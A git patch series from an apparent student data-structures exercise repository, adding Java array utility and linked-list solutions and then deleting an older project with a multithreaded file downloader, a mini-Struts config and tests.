+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public int[] reverseArray(int[] origin){
+		int len = origin.length;
+		int[] ret = new int[len];
+		for(int i=0;i<len;i++){
+			ret[i] = origin[len-i-1];
+		}
+		origin = null;
+		return ret;
+	}
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	
+	public int[] removeZero(int[] oldArray){
+		int[] ret = new int[oldArray.length];
+		int zeroNum = 0;
+		int tmp;
+		int retIndex = 0;
+		for(int i=0;i<oldArray.length;i++){
+			tmp = oldArray[i];
+			if(tmp == 0){
+				zeroNum++;
+			}else{
+				ret[retIndex++] = tmp;
+			}
+		}
+		if(zeroNum == 0){
+			return oldArray;
+		}else{
+			return Arrays.copyOf(ret, retIndex);
+		}
+	}
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	public int[] merge(int[] array1, int[] array2){
+		int[] ret = new int[array1.length + array2.length];
+		int i1 = 0, i2 = 0;
+		int val1, val2;
+		int sameNum = 0;
+		int len1 = array1.length-1, len2 = array2.length -1;
+		for(int i=0;i<ret.length;){
+			if(i1 <= len1 && i2 <= len2){
+				val1 = array1[i1];
+				val2 = array2[i2];
+				if(val1 < val2){
+					ret[i++] = val1;
+					i1++;
+				}else if(val1 == val2){
+					sameNum++;
+					i2++;
+				}else{
+					ret[i++] = val2;
+					i2++;
+				}
+			}else{
+				if(i1 > len1 && i2 > len2){
+					break;
+				}else if(i1 > len1){
+					ret[i++] = array2[i2++];
+				}else{
+					ret[i++] = array1[i1++];
+				}
+			}
+				
+		}
+		if(sameNum > 0){
+			ret = Arrays.copyOf(ret, ret.length - sameNum);
+		}
+		return ret;
+	}
+	
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public int[] grow(int [] oldArray,  int size){
+		return Arrays.copyOf(oldArray, oldArray.length + size);
+	}
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max){
+		if(max == 1){
+			return new int[0];
+		}else{
+			int[] tmp = new int[max + 1];
+			int x1 = 1, x2 = 1;
+			int i = 1, j = 0;
+			tmp[j++] = x1;
+			tmp[j++] = x2;
+			while(true){
+				i = x1 + x2;
+				if(i > max){
+					break;
+				}
+				x1 = x2;
+				x2 = i;
+				tmp[j++] = i;
+			}
+			return Arrays.copyOf(tmp, j);
+		}
+	}
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max){
+		int[] tmp = new int[max/2 + 1];
+		boolean isPrime;
+		int k = 0;
+		for(int i=2;i<max;i++){
+			isPrime = true;
+			for(int j=2;j<i;j++){
+				if(i % j == 0 && i != j){
+					isPrime = false;
+					break;
+				}
+			}
+			if(isPrime){
+				tmp[k++] = i;
+			}
+		}
+		return Arrays.copyOf(tmp, k);
+	}
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max){
+		if(max < 3){
+			return new int[0];
+		}
+		int[] tmp = new int[max/6];
+		int[] factors;
+		int i = 0, l, sum;
+		for(int j=2;j<max;j++){
+			l = 0;sum = 1;
+			factors = new int[j];
+			for(int k=2;k<j;k++){
+				if(j % k == 0 && j != k){
+					factors[l++] = k;
+				}
+			}
+			for(int m=0;m<l;m++){
+				sum += factors[m];
+			}
+			if(sum == j){
+				tmp[i++] = j;
+			}
+		}
+		return Arrays.copyOf(tmp, i);
+	}
+	
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator){
+		StringBuilder sb = new StringBuilder();
+		for (int i = 0; i < array.length; i++) {
+			sb.append(array[i]).append(seperator);
+		}
+		return sb.length() == 0? "" : sb.substring(0, sb.length() - 1);
+	}
+	
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LinkedList.java b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LinkedList.java
new file mode 100644
index 0000000000..b6f57e977d
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LinkedList.java
@@ -0,0 +1,402 @@
+package com.coding.basic.linklist;
+
+
+import java.util.NoSuchElementException;
+
+import com.coding.basic.Iterator;
+import com.coding.basic.List;
+
+public class LinkedList implements List {
+
+    private Node head;
+    private int size;
+
+    public void add(Object o) {
+        Node newNode = new Node(o, null);
+        if (head == null) {
+            head = newNode;
+        } else {
+            Node tmp = head;
+            while (tmp.next != null) {
+                tmp = tmp.next;
+            }
+            tmp.next = newNode;
+        }
+        size++;
+    }
+
+    public void add(int index, Object o) {
+        checkMinBound(index);
+        checkMaxBound(index, size);
+        Node newNode = new Node(o, null);
+        if (index == 0) {
+            newNode.next = head;
+            head = newNode;
+        } else {
+            int pos = 1;
+            Node tmp = head;
+            while (pos != index) {
+                tmp = tmp.next;
+                pos++;
+            }
+            newNode.next = tmp.next;
+            tmp.next = newNode;
+        }
+        size++;
+
+    }
+
+    private void checkMinBound(int index) {
+        if (index < 0) {
+            throw new IllegalArgumentException();
+        }
+    }
+
+    private void checkMaxBound(int index, int max) {
+        if (index > max) {
+            throw new IndexOutOfBoundsException();
+        }
+    }
+
+
+    public Object get(int index) {
+        checkMinBound(index);
+        checkMaxBound(index, size - 1);
+        Node cur = head;
+        if (index != 0) {
+            int pos = 0;
+            do {
+                cur = cur.next;
+                pos++;
+            } while (pos != index);
+        }
+        return cur.data;
+    }
+
+    public Object remove(int index) {
+        checkMinBound(index);
+        checkMaxBound(index, size - 1);
+        Node cur = head;
+        if (index == 0) {
+            head = cur.next;
+        } else {
+            int pos = 1;
+            Node prev = cur;
+            while (pos != index) {
+                prev = prev.next;
+                pos++;
+            }
+            cur = prev.next;
+            prev.next = cur.next;
+        }
+        size--;
+        return cur.data;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    public void addFirst(Object o) {
+        Node newNode = new Node(o, null);
+        newNode.next = head;
+        head = newNode;
+        size++;
+    }
+
+    public void addLast(Object o) {
+        Node newNode = new Node(o, null);
+        if (head == null) {
+            head = newNode;
+        } else {
+            Node tmp = head;
+            while (tmp.next != null) {
+                tmp = tmp.next;
+            }
+            tmp.next = newNode;
+        }
+        size++;
+    }
+
+    public Object removeFirst() {
+        if (head == null) {
+            throw new NoSuchElementException();
+        }
+        Node ret = head;
+        head = head.next;
+        size--;
+        return ret.data;
+    }
+
+    public Object removeLast() {
+        if (head == null) {
+            throw new NoSuchElementException();
+        }
+        Node ret;
+        if (head.next == null) {
+            ret = head;
+            head = null;
+        } else {
+            Node prev = head;
+            ret = head.next;
+            while (ret.next != null) {
+                prev = ret;
+                ret = ret.next;
+            }
+            prev.next = null;
+        }
+        size--;
+        return ret.data;
+    }
+
+    public Iterator iterator() {
+        return null;
+    }
+
+
+    private static class Node {
+        Object data;
+        Node next;
+
+        public Node(Object data, Node next) {
+            this.data = data;
+            this.next = next;
+        }
+
+    }
+
+    /**
+     * 把该链表逆置
+     * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+     */
+    public void reverse() {
+    	if(size == 0 || size == 1){
+    		return ;
+    	}
+    	Node node = head;
+    	Node nextNode = head.next;
+    	Node tmp;
+    	node.next = null;
+    	do{
+    		tmp = nextNode.next;
+    		nextNode.next = node;
+    		node = nextNode;
+    		nextNode = tmp;
+    	}while(nextNode != null);
+    	head = node;
+    }
+
+    /**
+     * 删除一个单链表的前半部分
+     * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+     * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+     */
+    public void removeFirstHalf() {
+    	if(size == 0 || size == 1){
+    		return ;
+    	}
+    	int num = size / 2;
+    	size -= num;
+    	Node node = head;
+    	while(num > 0){
+    		node = node.next;
+    		num--;
+    	}
+    	head = node;
+    }
+    
+    /**
+     * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+     *
+     * @param i
+     * @param length
+     */
+    public void remove(int i, int length) {
+    	checkMinBound(i);
+    	checkMaxBound(i + length, size);
+    	Node prev = null;
+    	Node node = head;
+    	int index = 0;
+    	while(index < i){
+    		prev = node;
+    		node = node.next;
+    		index++;
+    	}
+    	Node nextNode = node.next;
+    	while(index < (i + length - 1)){
+    		nextNode = nextNode.next;
+    		index++;
+    	}
+    	size -= length;
+    	if(i == 0){
+    		head = nextNode;
+    	}else{
+    		prev.next = nextNode;
+    		head = prev;
+    	}
+    }
+
+    /**
+     * 假定当前链表和list均包含已升序排列的整数
+     * 从当前链表中取出那些list所指定的元素
+     * 例如当前链表 = 11->101->201->301->401->501->601->701
+     * listB = 1->3->4->6
+     * 返回的结果应该是[101,301,401,601]
+     *
+     * @param list
+     */
+    public int[] getElements(LinkedList list) {
+    	int[] ret = new int[list.size()];
+    	if(ret.length == 0){
+    		return ret;
+    	}
+    	int index;
+    	int j = 0;
+    	Node node = head;
+    	for(int i=0;i<list.size();i++){
+    		index = (int)list.get(i);
+    		while(j < index){
+    			node = node.next;
+    			if(node == null){
+    				throw new IndexOutOfBoundsException();
+    			}
+    			j++;
+    		}
+    		ret[i] = (int)node.data;
+    	}
+    	return ret;
+    }
+
+    /**
+     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+     * 从当前链表中中删除在list中出现的元素
+     *
+     * @param list
+     */
+
+    public void subtract(LinkedList list) {
+    	if(size == 0){
+    		return ;
+    	}
+    	Node prev = null;
+    	Node node = head;
+    	int data;
+    	for(int i=0;i<list.size();i++){
+    		data = (int)list.get(i);
+    		do{
+    			if(data == (int)node.data){
+    				if(prev == null){
+    					head = node.next;
+    				}else{
+    					prev.next = node.next;
+    				}
+    				size--;
+    				node = node.next;
+    				break;
+    			}
+    			prev = node;
+    		}while((node = node.next) != null);
+    	}
+    }
+
+    /**
+     * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+     * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+     */
+    public void removeDuplicateValues() {
+    	if(size == 0 || size == 1){
+    		return ;
+    	}
+    	Node node = head;
+    	Node next = node.next;
+    	do{
+    		if((int)node.data == (int)next.data){
+    			node.next = next.next;
+    			size--;
+    		}else{
+    			node = node.next;
+    		}
+    		next = next.next;
+    	}while(next != null);
+    }
+
+    /**
+     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+     * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+     *
+     * @param min
+     * @param max
+     */
+    public void removeRange(int min, int max) {
+    	Node prev = null;
+    	Node node = head;
+    	boolean foundMin = false;
+    	do{
+    		if(!foundMin && (int)node.data > min){
+    			foundMin = true;
+    		}
+    		if(foundMin && (int)node.data > max){
+    			break;
+    		}
+    		if(foundMin == false){
+    			prev = node;
+    		}else{
+    			size -= 1;
+    		}
+    		node = node.next;
+    	}while(node != null);
+    	if(prev == null){
+    		head = node;
+    	}else{
+    		prev.next = node;
+    	}
+    }
+
+    /**
+     * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+     * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+     *
+     * @param list
+     */
+    public LinkedList intersection(LinkedList list) {
+    	LinkedList ret = new LinkedList();
+    	Node node = head;
+    	int nodeValue;
+    	int elementValue;
+    	for(int i=0;i<list.size();i++){
+    		nodeValue = (int)node.data;
+    		elementValue = (int)list.get(i);
+    		if(nodeValue == elementValue){
+    			ret.add(nodeValue);
+    		}else if(nodeValue < elementValue){
+    			node = node.next;
+    			while(node != null){
+    				nodeValue = (int)node.data;
+    				if(nodeValue == elementValue){
+    					ret.add(nodeValue);
+    					node = node.next;
+    					break;
+    				}else if(nodeValue > elementValue){
+    					break;
+    				}
+    				node = node.next;
+    			}
+    		}
+    	}
+        return ret;
+    }
+    
+    public String toString(){
+    	Node node = head;
+    	StringBuilder sb = new StringBuilder();
+    	if(node == null){
+    		return "";
+    	}else{
+    		sb.append(head.data);
+    		while((node = node.next) != null){
+    			sb.append(",").append(node.data);
+    		}
+    		return sb.toString();
+    	}
+    }
+}

From 54532084198069eaab425ef3b76c48df05310e21 Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Tue, 28 Mar 2017 09:49:18 +0800
Subject: [PATCH 017/262] =?UTF-8?q?=E9=A1=B9=E7=9B=AE=E9=87=8D=E6=9E=84?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

项目重构
---
 .../bin/com/coderising/litestruts/struts.xml  |  11 -
 .../src/com/coderising/array/ArrayUtil.java   | 210 ---------
 .../coderising/download/DownloadThread.java   |  31 --
 .../coderising/download/FileDownloader.java   | 104 -----
 .../download/FileDownloaderTest.java          |  59 ---
 .../coderising/download/api/Connection.java   |  26 --
 .../download/api/ConnectionException.java     |   5 -
 .../download/api/ConnectionManager.java       |  10 -
 .../download/api/DownloadListener.java        |   5 -
 .../download/impl/ConnectionImpl.java         |  62 ---
 .../download/impl/ConnectionManagerImpl.java  |  26 --
 .../coderising/litestruts/LoginAction.java    |  39 --
 .../src/com/coderising/litestruts/Struts.java | 181 --------
 .../com/coderising/litestruts/StrutsTest.java |  43 --
 .../src/com/coderising/litestruts/View.java   |  23 -
 .../src/com/coderising/litestruts/struts.xml  |  11 -
 .../src/com/coding/basic/ArrayList.java       |  80 ----
 .../src/com/coding/basic/BinaryTreeNode.java  |  97 -----
 .../src/com/coding/basic/Iterator.java        |   8 -
 .../src/com/coding/basic/LinkedList.java      | 399 ------------------
 .../src/com/coding/basic/List.java            |  13 -
 .../src/com/coding/basic/Queue.java           |  22 -
 .../src/com/coding/basic/Stack.java           |  35 --
 .../src/com/coding/me/Palindrome.java         |  82 ++++
 .../test/com/coding/basic/TestArrayList.java  |   3 +-
 .../com/coding/basic/TestBinaryTreeNode.java  |   0
 .../test/com/coding/basic/TestLinkedList.java |   4 +-
 27 files changed, 86 insertions(+), 1503 deletions(-)
 delete mode 100644 group23/1028361767/Week1DataStructure/bin/com/coderising/litestruts/struts.xml
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/array/ArrayUtil.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/DownloadThread.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloader.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloaderTest.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/api/Connection.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionException.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/api/ConnectionManager.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/api/DownloadListener.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionImpl.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/download/impl/ConnectionManagerImpl.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/LoginAction.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/Struts.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/StrutsTest.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/View.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coderising/litestruts/struts.xml
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coding/basic/ArrayList.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coding/basic/BinaryTreeNode.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coding/basic/Iterator.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coding/basic/LinkedList.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coding/basic/List.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coding/basic/Queue.java
 delete mode 100644 group23/1028361767/Week1DataStructure/src/com/coding/basic/Stack.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/me/Palindrome.java
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/test/com/coding/basic/TestArrayList.java (97%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/test/com/coding/basic/TestBinaryTreeNode.java (100%)
 rename group23/1028361767/{Week1DataStructure => data-structure}/src/test/com/coding/basic/TestLinkedList.java (97%)

diff --git a/group23/1028361767/Week1DataStructure/bin/com/coderising/litestruts/struts.xml b/group23/1028361767/Week1DataStructure/bin/com/coderising/litestruts/struts.xml
deleted file mode 100644
index e5d9aebba8..0000000000
--- a/group23/1028361767/Week1DataStructure/bin/com/coderising/litestruts/struts.xml
+++ /dev/null
@@ -1,11 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<struts>
-    <action name="login" class="com.coderising.litestruts.LoginAction">
-        <result name="success">/jsp/homepage.jsp</result>
-        <result name="fail">/jsp/showLogin.jsp</result>
-    </action>
-    <action name="logout" class="com.coderising.litestruts.LogoutAction">
-    	<result name="success">/jsp/welcome.jsp</result>
-    	<result name="error">/jsp/error.jsp</result>
-    </action>
-</struts>
\ No newline at end of file
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/array/ArrayUtil.java b/group23/1028361767/Week1DataStructure/src/com/coderising/array/ArrayUtil.java
deleted file mode 100644
index e497a8e251..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coderising/array/ArrayUtil.java
+++ /dev/null
@@ -1,210 +0,0 @@
-package com.coderising.array;
-
-import java.util.Arrays;
-
-public class ArrayUtil {
-	
-	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换
-		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
-		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-	 * @param origin
-	 * @return
-	 */
-	public int[] reverseArray(int[] origin){
-		int len = origin.length;
-		int[] ret = new int[len];
-		for(int i=0;i<len;i++){
-			ret[i] = origin[len-i-1];
-		}
-		origin = null;
-		return ret;
-	}
-	
-	/**
-	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
-	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
-	 * @param oldArray
-	 * @return
-	 */
-	
-	public int[] removeZero(int[] oldArray){
-		int[] ret = new int[oldArray.length];
-		int zeroNum = 0;
-		int tmp;
-		int retIndex = 0;
-		for(int i=0;i<oldArray.length;i++){
-			tmp = oldArray[i];
-			if(tmp == 0){
-				zeroNum++;
-			}else{
-				ret[retIndex++] = tmp;
-			}
-		}
-		if(zeroNum == 0){
-			return oldArray;
-		}else{
-			return Arrays.copyOf(ret, retIndex);
-		}
-	}
-	
-	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
-	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
-	 * @param array1
-	 * @param array2
-	 * @return
-	 */
-	public int[] merge(int[] array1, int[] array2){
-		int[] ret = new int[array1.length + array2.length];
-		int i1 = 0, i2 = 0;
-		int val1, val2;
-		int sameNum = 0;
-		int len1 = array1.length-1, len2 = array2.length -1;
-		for(int i=0;i<ret.length;){
-			if(i1 <= len1 && i2 <= len2){
-				val1 = array1[i1];
-				val2 = array2[i2];
-				if(val1 < val2){
-					ret[i++] = val1;
-					i1++;
-				}else if(val1 == val2){
-					sameNum++;
-					i2++;
-				}else{
-					ret[i++] = val2;
-					i2++;
-				}
-			}else{
-				if(i1 > len1 && i2 > len2){
-					break;
-				}else if(i1 > len1){
-					ret[i++] = array2[i2++];
-				}else{
-					ret[i++] = array1[i1++];
-				}
-			}
-				
-		}
-		if(sameNum > 0){
-			ret = Arrays.copyOf(ret, ret.length - sameNum);
-		}
-		return ret;
-	}
-	
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持
-	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 */
-	public int[] grow(int [] oldArray,  int size){
-		return Arrays.copyOf(oldArray, oldArray.length + size);
-	}
-	
-	/**
-	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
-	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
-	 * max = 1, 则返回空数组 []
-	 * @param max
-	 * @return
-	 */
-	public int[] fibonacci(int max){
-		if(max == 1){
-			return new int[0];
-		}else{
-			int[] tmp = new int[max + 1];
-			int x1 = 1, x2 = 1;
-			int i = 1, j = 0;
-			tmp[j++] = x1;
-			tmp[j++] = x2;
-			while(true){
-				i = x1 + x2;
-				if(i > max){
-					break;
-				}
-				x1 = x2;
-				x2 = i;
-				tmp[j++] = i;
-			}
-			return Arrays.copyOf(tmp, j);
-		}
-	}
-	
-	/**
-	 * 返回小于给定最大值max的所有素数数组
-	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-	 * @param max
-	 * @return
-	 */
-	public int[] getPrimes(int max){
-		int[] tmp = new int[max/2 + 1];
-		boolean isPrime;
-		int k = 0;
-		for(int i=2;i<max;i++){
-			isPrime = true;
-			for(int j=2;j<i;j++){
-				if(i % j == 0 && i != j){
-					isPrime = false;
-					break;
-				}
-			}
-			if(isPrime){
-				tmp[k++] = i;
-			}
-		}
-		return Arrays.copyOf(tmp, k);
-	}
-	
-	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
-	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-	 * @param max
-	 * @return
-	 */
-	public int[] getPerfectNumbers(int max){
-		if(max < 3){
-			return new int[0];
-		}
-		int[] tmp = new int[max/6];
-		int[] factors;
-		int i = 0, l, sum;
-		for(int j=2;j<max;j++){
-			l = 0;sum = 1;
-			factors = new int[j];
-			for(int k=2;k<j;k++){
-				if(j % k == 0 && j != k){
-					factors[l++] = k;
-				}
-			}
-			for(int m=0;m<l;m++){
-				sum += factors[m];
-			}
-			if(sum == j){
-				tmp[i++] = j;
-			}
-		}
-		return Arrays.copyOf(tmp, i);
-	}
-	
-	/**
-	 * 用seperator 把数组 array给连接起来
-	 * 例如array= [3,8,9], seperator = "-"
-	 * 则返回值为"3-8-9"
-	 * @param array
-	 * @param s
-	 * @return
-	 */
-	public String join(int[] array, String seperator){
-		StringBuilder sb = new StringBuilder();
-		for (int i = 0; i < array.length; i++) {
-			sb.append(array[i]).append(seperator);
-		}
-		return sb.length() == 0? "" : sb.substring(0, sb.length() - 1);
-	}
-	
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/DownloadThread.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/DownloadThread.java
deleted file mode 100644
index 8cf0ae1e42..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coderising/download/DownloadThread.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.coderising.download;
-
-import java.io.IOException;
-import java.io.RandomAccessFile;
-
-import com.coderising.download.api.Connection;
-
-public class DownloadThread extends Thread{
-
-	Connection conn;
-	int startPos;
-	int endPos;
-
-	public DownloadThread( Connection conn, int startPos, int endPos){
-		
-		this.conn = conn;		
-		this.startPos = startPos;
-		this.endPos = endPos;
-	}
-	public void run(){	
-		try {
-			byte[] bytes = conn.read(startPos, endPos);
-			RandomAccessFile file = new RandomAccessFile("/Users/jie/Desktop/test.png", "rw");
-			file.seek(startPos);
-			file.write(bytes);
-			file.close();
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-	}
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloader.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloader.java
deleted file mode 100644
index 1fe4ebb159..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloader.java
+++ /dev/null
@@ -1,104 +0,0 @@
-package com.coderising.download;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-
-
-public class FileDownloader {
-	
-	String url;
-	
-	DownloadListener listener;
-	
-	ConnectionManager cm;
-	
-	Thread[] threads = new Thread[3];
-	
-
-	public FileDownloader(String _url) {
-		this.url = _url;
-		
-	}
-	
-	public void execute(){
-		// 在这里实现你的代码， 注意： 需要用多线程实现下载
-		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
-		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
-		// 具体的实现思路：
-		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
-		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
-		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
-		// 3. 把byte数组写入到文件中
-		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-		
-		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-		Connection conn = null;
-		try {
-			
-			conn = cm.open(this.url);
-			
-			int length = conn.getContentLength();
-			
-			int size = length / 3;
-			int remain = length - size;
-			
-			for(int i=0;i<3;i++){
-				conn = cm.open(this.url);
-				int startPos = i*size;
-				int endPos = (i+1) * size - 1;
-				if(i == 2){
-					endPos = (i+1) * size - 1 + remain;
-				}
-				threads[i] = new DownloadThread(conn,startPos,endPos);
-				threads[i].start();
-			}
-
-			new Thread(new Runnable(){
-				public void run(){
-					boolean finish;
-					do{
-						finish = true;
-						for(int i=0;i<threads.length;i++){
-//							System.out.println("线程" + i + "状态:" + threads[i].getState());
-							if(!"TERMINATED".equals(threads[i].getState().toString())){
-								finish = false;
-								continue;
-							}
-						}
-					}while(!finish);
-					getListener().notifyFinished();
-				}
-			}).start();;
-			
-		} catch (ConnectionException e) {			
-			e.printStackTrace();
-		}finally{
-			if(conn != null){
-				conn.close();
-			}
-		}
-		
-		
-		
-		
-	}
-	
-	public void setListener(DownloadListener listener) {
-		this.listener = listener;
-	}
-
-	
-	
-	public void setConnectionManager(ConnectionManager ucm){
-		this.cm = ucm;
-	}
-	
-	public DownloadListener getListener(){
-		return this.listener;
-	}
-	
-}
diff --git a/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloaderTest.java b/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloaderTest.java
deleted file mode 100644
index 128a302664..0000000000
--- a/group23/1028361767/Week1DataStructure/src/com/coderising/download/FileDownloaderTest.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package com.coderising.download;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-import com.coderising.download.impl.ConnectionManagerImpl;
-
-public class FileDownloaderTest {
-	boolean downloadFinished = false;
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testDownload() {
-		
-		String url = "http://pic6.huitu.com/res/20130116/84481_20130116142820494200_1.jpg";
-		
-		FileDownloader downloader = new FileDownloader(url);
-
-	
-		ConnectionManager cm = new ConnectionManagerImpl();
-		downloader.setConnectionManager(cm);
-		
-		downloader.setListener(new DownloadListener() {
-			@Override
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-
-		});
-
-		
-		downloader.execute();
-		
-		// 等待多线程下载程序执行完毕
-		while (!downloadFinished) {
-			try {
-				System.out.println("还没有下载完成，休眠五秒");
-				//休眠5秒
-				Thread.sleep(5000);
-			} catch (InterruptedException e) {				
-				e.printStackTrace();
-			}
